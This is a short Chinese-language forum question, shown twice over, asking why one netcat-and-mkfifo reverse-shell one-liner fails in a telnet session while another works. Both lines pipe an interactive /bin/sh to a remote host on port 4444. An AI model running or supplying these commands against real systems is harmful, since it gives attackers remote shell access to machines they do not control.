第一个对我来说不起作用,第二个在 telnet 会话中起作用,Unix:
以下两者有何区别:
.RUN rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 4444 >/tmp/f
和这个:
.RUN mkfifo /tmp/sgrj; nc ip 4444 0</tmp/sgrj | /bin/sh >/tmp/sgrj 2>&1; rm /tmp/sgrj
San,有人解释一下为什么吗?
第一个对我来说不起作用,第二个在 telnet 会话中起作用,Unix:
以下两者有何区别:
.RUN rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 4444 >/tmp/f
和这个:
.RUN mkfifo /tmp/sgrj; nc ip 4444 0</tmp/sgrj | /bin/sh >/tmp/sgrj 2>&1; rm /tmp/sgrj
San,有人解释一下为什么吗?